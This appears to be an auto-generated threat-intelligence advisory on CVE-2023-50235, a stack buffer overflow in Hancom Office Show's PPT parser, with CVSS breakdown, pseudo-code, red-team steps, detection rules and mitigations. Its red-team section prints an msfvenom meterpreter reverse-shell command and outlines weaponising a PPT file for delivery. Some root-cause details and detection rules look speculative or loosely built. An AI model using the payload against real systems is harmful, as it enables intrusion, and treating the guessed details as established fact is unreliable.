CVE-2023-50235

Executive Summary

CVE-2023-50235 is a critical stack-based buffer overflow vulnerability in Hancom Office Show, a presentation software component of the Hancom Office suite. The flaw resides in the parsing of PPT files, where insufficient validation of user-supplied data length before copying to a stack-based buffer allows remote code execution. An attacker can exploit this by convincing a user to open a malicious PPT file or visit a malicious page. The vulnerability has a CVSS score of 7.8 (High) and is classified under CWE-121 (Stack-based Buffer Overflow). No public exploit code or patch is currently available, but the risk is significant due to the widespread use of Hancom Office in enterprise environments, particularly in South Korea.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone desktop application (Hancom Office Show) distributed via official vendor channels. Supply chain risk is limited to the integrity of the vendor's distribution mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local (L) – Requires user interaction to open a file.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the malicious file.
• Scope (S): Unchanged (U) – Exploit stays within the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: High. Exploitation requires user interaction, but the impact is complete compromise of the affected system. The lack of a patch increases the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the PPT file parsing routine of Hancom Office Show. When the application reads a specially crafted PPT file, it fails to validate the length of user-supplied data before copying it to a fixed-size stack buffer. This allows an attacker to overwrite the return address and other critical stack data, leading to arbitrary code execution.

Technical Details:

• Root Cause: The strcpy() or similar function is used without bounds checking on a stack buffer.
• Trigger: A malicious PPT file containing an oversized field (e.g., a long string in a text box or slide title).
• Exploitation: The attacker overwrites the saved EIP/RIP with a controlled value, redirecting execution to shellcode embedded in the file.
• Impact: Code execution in the context of the current user, allowing installation of malware, data exfiltration, or lateral movement.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is:

// Vulnerable pseudo-code
void parsePPTField(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No length check
}

A patched version would use safe functions:

// Patched pseudo-code
void parsePPTField(char *input, size_t input_len) {
    char buffer[256];
    if (input_len >= sizeof(buffer)) {
        // Handle error
        return;
    }
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Hancom Office Show (any version) installed on a Windows target.
• A malicious PPT file crafted with a buffer overflow payload.

Exploitation Steps:

1. Craft the Malicious PPT: Use a tool like msfvenom to generate shellcode and embed it in a PPT file with an oversized field.
2. Deliver the File: Send via email, USB, or web download.
3. Trigger: Victim opens the file in Hancom Office Show.
4. Execute: The overflow overwrites the return address, executing the shellcode.

Example Payload Generation (Metasploit):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin

Then embed shellcode.bin into a PPT file using a custom script (not provided due to lack of public exploit).

Note: No public exploit code is available; this is a theoretical approach.

Blue Team (Defense)

Detection:

• Monitor for abnormal PPT file sizes or unusual strings in file metadata.
• Use endpoint detection and response (EDR) to detect stack-based overflow attempts.
• Enable ASLR and DEP to mitigate exploitation.

Hunting:

• Search for processes (hwp.exe or hancomshow.exe) crashing with access violations.
• Look for PPT files with unusually long fields (e.g., >256 bytes in a single string).

Prevention:

• Disable automatic file preview in email clients.
• Use application whitelisting to block unknown executables.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

YARA Rule:

rule CVE_2023_50235_Hancom_Office_Show_Overflow {
    meta:
        description = "Detects malicious PPT files exploiting CVE-2023-50235"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50235"
    strings:
        $ppt_magic = { D0 CF 11 E0 A1 B1 1A E1 }  // OLE2 magic for PPT
        $long_string = /.{300,}/  // Strings longer than 300 bytes
    condition:
        $ppt_magic at 0 and #long_string > 0
}

Detection Engineering

YARA Rule

rule CVE_2023_50235_Hancom_Office_Show_Overflow {
    meta:
        description = "Detects malicious PPT files exploiting CVE-2023-50235"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50235"
    strings:
        $ppt_magic = { D0 CF 11 E0 A1 B1 1A E1 }
        $long_string = /.{300,}/
    condition:
        $ppt_magic at 0 and #long_string > 0
}

Sigma Rule

title: Hancom Office Show PPT Buffer Overflow Attempt
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects potential exploitation of CVE-2023-50235 via process crash or abnormal PPT file access
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\\hancomshow.exe'
        CommandLine|contains: '.ppt'
    condition: selection
falsepositives:
    - Legitimate PPT file opening
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2023-50235 Hancom Office Show PPT Download"; flow:to_server,established; content:"Content-Type|3a 20|application/vnd.ms-powerpoint"; http_header; content:".ppt"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. No Patch Available: Monitor vendor channels for updates.
2. Mitigation: Disable automatic file preview in email clients and web browsers.
3. User Awareness: Train users not to open PPT files from untrusted sources.
4. Application Control: Use AppLocker or similar to restrict execution of Hancom Office Show to trusted users only.

Long-Term:

• Apply vendor patch when released.
• Consider alternative presentation software if risk is unacceptable.
• Implement strict file upload validation on web applications.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.